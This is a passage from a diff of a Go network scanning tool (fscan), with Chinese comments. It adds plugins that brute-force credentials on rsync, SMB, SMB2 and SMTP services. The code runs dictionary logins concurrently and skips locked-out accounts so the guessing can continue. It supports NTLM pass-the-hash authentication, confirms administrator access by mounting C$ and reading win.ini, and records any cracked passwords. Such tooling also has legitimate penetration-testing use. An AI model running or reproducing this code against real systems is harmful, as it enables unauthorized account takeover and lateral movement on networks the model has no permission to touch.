var credentials []RsyncCredential
for _, user := range Common.Userdict["rsync"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RsyncCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存成功结果
saveRsyncResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Rsync扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentRsyncScan 并发扫描Rsync服务
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RsyncScanResult, 1)
workChan := make(chan RsyncCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRsyncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Rsync并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRsyncCredential 尝试单个Rsync凭据
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RsyncScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, moduleName, err := RsyncConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &RsyncScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
ModuleName: moduleName,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &RsyncScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// RsyncConn 尝试Rsync连接
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 建立连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil {
return false, "", err
}
defer conn.Close()
// 创建结果通道用于超时控制
resultChan := make(chan struct {
success bool
moduleName string
err error
}, 1)
// 在协程中处理连接,以支持上下文取消
go func() {
buffer := make([]byte, 1024)
// 1. 读取服务器初始greeting
conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buffer)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", err}:
}
return
}
greeting := string(buffer[:n])
if !strings.HasPrefix(greeting, "@RSYNCD:") {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", fmt.Errorf("不是Rsync服务")}:
}
return
}
// 获取服务器版本号
version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:"))
// 2. 回应相同的版本号
conn.SetWriteDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", err}:
}
return
}
// 3. 选择模块 - 先列出可用模块
conn.SetWriteDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte("#list\n"))
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", err}:
}
return
}
// 4. 读取模块列表
var moduleList strings.Builder
for {
// 检查上下文是否取消
select {
case <-ctx.Done():
return
default:
}
conn.SetReadDeadline(time.Now().Add(timeout))
n, err = conn.Read(buffer)
if err != nil {
break
}
chunk := string(buffer[:n])
moduleList.WriteString(chunk)
if strings.Contains(chunk, "@RSYNCD: EXIT") {
break
}
}
modules := strings.Split(moduleList.String(), "\n")
for _, module := range modules {
if strings.HasPrefix(module, "@RSYNCD") || module == "" {
continue
}
// 获取模块名
moduleName := strings.Fields(module)[0]
// 检查上下文是否取消
select {
case <-ctx.Done():
return
default:
}
// 5. 为每个模块创建新连接尝试认证
authConn, err := Common.WrapperTcpWithTimeout(host, port, timeout)
if err != nil {
continue
}
defer authConn.Close() // 重复初始握手
authConn.SetReadDeadline(time.Now().Add(timeout))
_, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version)))
if err != nil {
authConn.Close()
continue
}
// 6. 选择模块
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(moduleName + "\n"))
if err != nil {
authConn.Close()
continue
}
// 7. 等待认证挑战
authConn.SetReadDeadline(time.Now().Add(timeout))
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
authResponse := string(buffer[:n])
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
authConn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{true, moduleName, nil}:
}
return
}
} else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") {
if user != "" && pass != "" {
// 8. 发送认证信息
authString := fmt.Sprintf("%s %s\n", user, pass)
authConn.SetWriteDeadline(time.Now().Add(timeout))
_, err = authConn.Write([]byte(authString))
if err != nil {
authConn.Close()
continue
}
// 9. 读取认证结果
authConn.SetReadDeadline(time.Now().Add(timeout))
n, err = authConn.Read(buffer)
if err != nil {
authConn.Close()
continue
}
if !strings.Contains(string(buffer[:n]), "@ERROR") {
authConn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{true, moduleName, nil}:
}
return
}
}
}
authConn.Close()
}
// 如果执行到这里,没有找到成功的认证
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
moduleName string
err error
}{false, "", fmt.Errorf("认证失败或无可用模块")}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.moduleName, result.err
case <-ctx.Done():
return false, "", ctx.Err()
}
}
// saveRsyncResult 保存Rsync扫描结果
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("Rsync服务 %s 匿名访问成功 模块: %s", target, result.ModuleName)
details = map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "anonymous-access",
"module": result.ModuleName,
}
} else {
successMsg = fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v 模块: %s",
target, result.Credential.Username, result.Credential.Password, result.ModuleName)
details = map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
"module": result.ModuleName,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
+298
View File
@@ -0,0 +1,298 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/stacktitan/smb/smb"
"strings"
"sync"
"time"
)
// SmbCredential 表示一个SMB凭据
type SmbCredential struct {
Username string
Password string
}
// SmbScanResult 表示SMB扫描结果
type SmbScanResult struct {
Success bool
Error error
Credential SmbCredential
}
func SmbScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []SmbCredential
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmbCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout)
if result != nil {
// 记录成功结果
saveSmbResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMB扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentSmbScan 并发扫描SMB服务
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SmbScanResult, 1)
workChan := make(chan SmbCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 记录用户锁定状态,避免继续尝试已锁定的用户
lockedUsers := make(map[string]bool)
var lockedMutex sync.Mutex
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 检查用户是否已锁定
lockedMutex.Lock()
locked := lockedUsers[credential.Username]
lockedMutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
result := trySmbCredential(scanCtx, info, credential, timeoutSeconds)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
// 检查账号锁定错误
if result.Error != nil && strings.Contains(result.Error.Error(), "账号锁定") {
lockedMutex.Lock()
lockedUsers[credential.Username] = true
lockedMutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
// 检查用户是否已锁定
lockedMutex.Lock()
locked := lockedUsers[cred.Username]
lockedMutex.Unlock()
if locked {
continue // 跳过已锁定用户
}
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmbCredential 尝试单个SMB凭据
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 创建单个连接超时上下文的结果通道
resultChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中尝试连接
go func() {
signal := make(chan struct{}, 1)
success, err := SmblConn(info, credential.Username, credential.Password, signal)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
return &SmbScanResult{
Success: result.success,
Error: result.err,
Credential: credential,
}
case <-ctx.Done():
return &SmbScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
return &SmbScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
Credential: credential,
}
}
}
// saveSmbResult 保存SMB扫描结果
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) {
// 构建结果消息
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "smb",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
if Common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password)
details["domain"] = Common.Domain
} else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
}
// 记录成功日志
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
}
// SmblConn 尝试建立SMB连接并认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
options := smb.Options{
Host: info.Host,
Port: 445,
User: user,
Password: pass,
Domain: Common.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
defer session.Close()
if session.IsAuthenticated {
return true, nil
}
return false, fmt.Errorf("认证失败")
}
// 清理错误信息中的换行符和多余空格
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
if strings.Contains(errMsg, "NT Status Error") {
switch {
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
err = fmt.Errorf("密码错误")
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
err = fmt.Errorf("账号锁定")
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
err = fmt.Errorf("拒绝访问")
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
err = fmt.Errorf("账号禁用")
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
err = fmt.Errorf("密码过期")
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
return false, fmt.Errorf("会话断开")
default:
err = fmt.Errorf("认证失败")
}
}
signal <- struct{}{}
return false, err
}
+491
View File
@@ -0,0 +1,491 @@
package Plugins
import (
"context"
"fmt"
"os"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/hirochachacha/go-smb2"
)
// Smb2Credential 表示一个SMB2凭据
type Smb2Credential struct {
Username string
Password string
Hash []byte
IsHash bool
}
// Smb2ScanResult 表示SMB2扫描结果
type Smb2ScanResult struct {
Success bool
Error error
Credential Smb2Credential
Shares []string
}
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 根据是否提供哈希选择认证模式
if len(Common.HashBytes) > 0 {
return smbHashScan(ctx, info)
}
return smbPasswordScan(ctx, info)
}
// smbPasswordScan 使用密码进行SMB2认证扫描
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
// 构建凭据列表
var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
actualPass := strings.ReplaceAll(pass, "{user}", user)
credentials = append(credentials, Smb2Credential{
Username: user,
Password: actualPass,
Hash: []byte{},
IsHash: false,
})
}
}
Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
}
// smbHashScan 使用哈希进行SMB2认证扫描
func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
// 构建凭据列表
var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] {
for _, hash := range Common.HashBytes {
credentials = append(credentials, Smb2Credential{
Username: user,
Password: "",
Hash: hash,
IsHash: true,
})
}
}
Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials)))
// 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials)
}
// concurrentSmb2Scan 并发扫描SMB2服务
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *Smb2ScanResult, 1)
workChan := make(chan Smb2Credential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 记录共享信息是否已打印和锁定的用户
var (
sharesPrinted bool
lockedUsers = make(map[string]bool)
mutex sync.Mutex
)
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
// 检查用户是否已锁定
mutex.Lock()
locked := lockedUsers[credential.Username]
currentSharesPrinted := sharesPrinted
mutex.Unlock()
if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue
}
// 尝试凭据
result := trySmb2Credential(scanCtx, info, credential, currentSharesPrinted)
// 更新共享信息打印状态
if result.Shares != nil && len(result.Shares) > 0 && !currentSharesPrinted {
mutex.Lock()
sharesPrinted = true
mutex.Unlock()
// 打印共享信息
logShareInfo(info, credential.Username, credential.Password, credential.Hash, result.Shares)
}
// 检查认证成功
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
// 检查账户锁定
if result.Error != nil {
errMsg := result.Error.Error()
if strings.Contains(errMsg, "account has been automatically locked") ||
strings.Contains(errMsg, "account has been locked") ||
strings.Contains(errMsg, "user account has been automatically locked") {
mutex.Lock()
lockedUsers[credential.Username] = true
mutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
}
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
// 检查用户是否已锁定
mutex.Lock()
locked := lockedUsers[cred.Username]
mutex.Unlock()
if locked {
continue // 跳过已锁定用户
}
if cred.IsHash {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
i+1, len(credentials), cred.Username, Common.HashValue))
} else {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
i+1, len(credentials), cred.Username, cred.Password))
}
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
// 记录成功结果
logSuccessfulAuth(info, result.Credential.Username,
result.Credential.Password, result.Credential.Hash)
return nil
}
return nil
case <-ctx.Done():
Common.LogDebug("SMB2扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return fmt.Errorf("全局超时")
}
}
// trySmb2Credential 尝试单个SMB2凭据
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
// 创建单个连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
// 在协程中尝试连接
resultChan := make(chan struct {
success bool
shares []string
err error
}, 1)
go func() {
success, err, shares := Smb2Con(connCtx, info, credential.Username,
credential.Password, credential.Hash, hasprint)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
shares []string
err error
}{success, shares, err}:
}
}()
// 等待结果或超时
select {
case result := <-resultChan:
if result.success {
return &Smb2ScanResult{
Success: true,
Credential: credential,
Shares: result.shares,
}
}
// 失败时记录错误
if result.err != nil {
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, result.err)
}
return &Smb2ScanResult{
Success: false,
Error: result.err,
Credential: credential,
Shares: result.shares,
}
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &Smb2ScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err := fmt.Errorf("连接超时")
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, err)
return &Smb2ScanResult{
Success: false,
Error: err,
Credential: credential,
}
}
}
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
// 建立TCP连接,使用socks代理支持
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second)
if err != nil {
return false, fmt.Errorf("连接失败: %v", err), nil
}
defer conn.Close()
// 配置NTLM认证
initiator := smb2.NTLMInitiator{
User: user,
Domain: Common.Domain,
}
// 设置认证方式(哈希或密码)
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
// 创建SMB2会话
dialer := &smb2.Dialer{
Initiator: &initiator,
}
// 使用context设置超时
session, err := dialer.Dial(conn)
if err != nil {
return false, fmt.Errorf("SMB2会话建立失败: %v", err), nil
}
defer session.Logoff()
// 检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), nil
default:
}
// 获取共享列表
sharesList, err := session.ListSharenames()
if err != nil {
return false, fmt.Errorf("获取共享列表失败: %v", err), nil
}
// 再次检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), sharesList
default:
}
// 尝试访问C$共享以验证管理员权限
fs, err := session.Mount("C$")
if err != nil {
return false, fmt.Errorf("挂载C$失败: %v", err), sharesList
}
defer fs.Umount()
// 最后检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err(), sharesList
default:
}
// 尝试读取系统文件以验证权限
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return false, fmt.Errorf("访问系统文件失败: %v", err), sharesList
}
defer f.Close()
return true, nil, sharesList
}
// logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
}
// 保存认证成功结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "success",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"type": "weak-auth",
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
Common.LogSuccess(msg)
}
// logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err)
} else {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err)
}
errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog)
}
// logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
credential := pass
if len(hash) > 0 {
credential = Common.HashValue
}
// 保存共享信息结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "shares-found",
Details: map[string]interface{}{
"port": info.Ports,
"service": "smb2",
"username": user,
"domain": Common.Domain,
"shares": shares,
"credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
},
}
Common.SaveResult(result)
// 控制台输出
var msg string
if Common.Domain != "" {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
} else {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
}
if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
} else {
msg += fmt.Sprintf(" Pass:%s", pass)
}
msg += fmt.Sprintf(" 共享:%v", shares)
Common.LogBase(msg)
}
+325
View File
@@ -0,0 +1,325 @@
package Plugins
import (
"context"
"fmt"
"net/smtp"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// SmtpCredential 表示一个SMTP凭据
type SmtpCredential struct {
Username string
Password string
}
// SmtpScanResult 表示SMTP扫描结果
type SmtpScanResult struct {
Success bool
Error error
Credential SmtpCredential
IsAnonymous bool
}
// SmtpScan 执行 SMTP 服务扫描
func SmtpScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
// 匿名访问成功
saveSmtpResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []SmtpCredential
for _, user := range Common.Userdict["smtp"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmtpCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveSmtpResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("SMTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentSmtpScan 并发扫描SMTP服务
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SmtpScanResult, 1)
workChan := make(chan SmtpCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := trySmtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("SMTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// trySmtpCredential 尝试单个SMTP凭据
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &SmtpScanResult{
